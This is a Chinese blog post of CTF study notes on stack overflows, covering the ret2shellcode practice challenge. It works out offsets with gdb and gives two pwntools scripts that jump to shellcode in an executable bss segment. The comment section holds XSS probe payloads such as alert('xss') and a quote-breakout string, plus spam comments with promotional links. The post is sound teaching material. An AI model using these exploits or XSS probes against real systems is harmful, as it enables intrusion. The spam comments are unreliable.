Pwn学习笔记(一) #### 前言 最近打比赛越来越觉得Pwn的重要性,想要高名次必须依靠Pwn。然后看朋友们发的一些Pwn的漏洞也感觉十分的有意思,于是在询问了一圈队里的大佬后决定从[CTF Wiki](https://ctf-wiki.github.io/ctf-wiki/pwn/readme/ "CTF Wiki")里面的题目来学Pwn #### 基本栈介绍 栈是一种典型的后进先出 (Last in First Out) 的数据结构,其操作主要有压栈 (push) 与出栈 (pop) 两种操作,如下图所示(维基百科)。两种操作都操作栈顶,当然,它也有栈底。 ![](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/figure/Data_stack.png) 高级语言在运行时都会被转换为汇编程序,在汇编程序运行过程中,充分利用了这一数据结构。每个程序在运行时都有虚拟地址空间,其中某一部分就是该程序对应的栈,用于保存函数调用信息和局部变量。此外,常见的操作也是压栈与出栈。需要注意的是,程序的栈是从进程地址空间的高地址向低地址增长的。 #### 栈溢出原理 栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。此外,我们也不难发现,发生栈溢出的基本前提是 >程序必须向栈上写入数据。 写入的数据大小没有被良好地控制。 具体介绍:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/stackoverflow-basic/ #### 常见危险函数 ![](http://www.lovei.org/usr/uploads/2019/05/3109509126.png) #### 例题练习 首先通过`checksec`检测程序开启的保护 ![](http://www.lovei.org/usr/uploads/2019/05/3192268379.png) 发现没有开启任何保护,接着我们使用IDA查看反编译出来的源码 ![](http://www.lovei.org/usr/uploads/2019/05/2313249599.png) 可以发现存在`gets()`函数,显然存在栈溢出。继续往下看我们发现程序通过`strncpy()`函数将对应的字符串复制到 buf2 处。我们直接双击`buf2`可知 buf2 在 bss 段,地址为`0x0804A080` ![](http://www.lovei.org/usr/uploads/2019/05/3845255090.png) 接下来我们通过简单的调试来判断 bss 段是否可执行。 这里 直接通过`b main`将断点打在`main()`函数处,然后使用`vmmap`指令来查看程序的内存。通过`vmmap`我们可以看到 bss 段对应的段具有可执行权限。 ![](http://www.lovei.org/usr/uploads/2019/05/3092591837.png) 那么我们只需要控制程序执行`shellcode`,也就是读入 `shellcode`,然后控制程序执行 `bss` 段处的 `shellcode`遍可以getshell,这时问题便变成了偏移的计算。 首先我们通过`pattern create 150`来构造一个长150个字节的字符串,然后通过`pattern offset $ebp`用来确定输入的字符串第一个字节与`ebp`的距离,这里我们我们可得知输入的第一个字节距离`ebp`108个字节,距离`ret`地址112个字节。 ![](http://www.lovei.org/usr/uploads/2019/05/4109716480.png) 最终构造出如下exp: ```python2 from pwn import * sh = process('./ret2shellcode') shellcode = asm(shellcraft.sh()) print len(shellcode) buf2_addr = 0x804A080 sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr)) sh.interactive() ``` 后来通过请教队友,其告诉我这里其实可以不去计算偏移。只要保证`shellcode`为4的倍数的情况下可以直接后面跟100个` p32(buf2_addr)`,肯定能命中那个ret地址。不是4的倍数的情况下,在后面填充即可。 exp如下: ```python2 from pwn import * sh = process('./ret2shellcode') shellcode = asm(shellcraft.sh()) print len(shellcode) buf2_addr = 0x804A080 sh.sendline(shellcode + p32(buf2_addr)*100) sh.interactive() ``` #### 参考链接 [BSS段](https://baike.baidu.com/item/BSS%E6%AE%B5/5230776?fr=aladdin "BSS段") [内存详解](http://www.cnblogs.com/georgepei/archive/2012/03/07/2383548.html "内存详解") [CTF Wiki](https://ctf-wiki.github.io/ctf-wiki/pwn/readme/ "CTF Wiki "CTF Wiki") [IDA初学者笔记](https://www.cnblogs.com/lsgxeva/p/8947824.html "IDA初学者笔记") [Pwntools官方文档](https://pwntools.readthedocs.io/en/stable/ "Pwntools官方文档") [linux下如何使用gdb调试](http://www.cnblogs.com/kingos/p/4514756.html "linux下如何使用gdb调试") [linux程序的常用保护机制](https://www.cnblogs.com/Spider-spiders/p/8798628.html "linux程序的常用保护机制")
\
alert('xss')请删掉
alert("123")
alert("123")
alert("111")
">
alert("123")
你的文章让我感受到了不一样的风景,谢谢分享。http://www.cd896.com
每次看到你的文章,我都觉得时间过得好快。http://www.xxkeyu.com
复古英雄合击,延续经典!:https://501h.com/heji/4098.html
你的文章充满了创意,真是让人惊喜。 https://www.yonboz.com/video/92681.html
真棒!
你的文章让我感受到了快乐,每天都要来看一看。 http://www.55baobei.com/ttI6Zx1Awu.html
你的文章让我感受到了不一样的视角,非常精彩。 http://www.55baobei.com/EmCz0HFhpQ.html
你的文章让我感受到了快乐,每天都要来看一看。 http://www.55baobei.com/ttI6Zx1Awu.html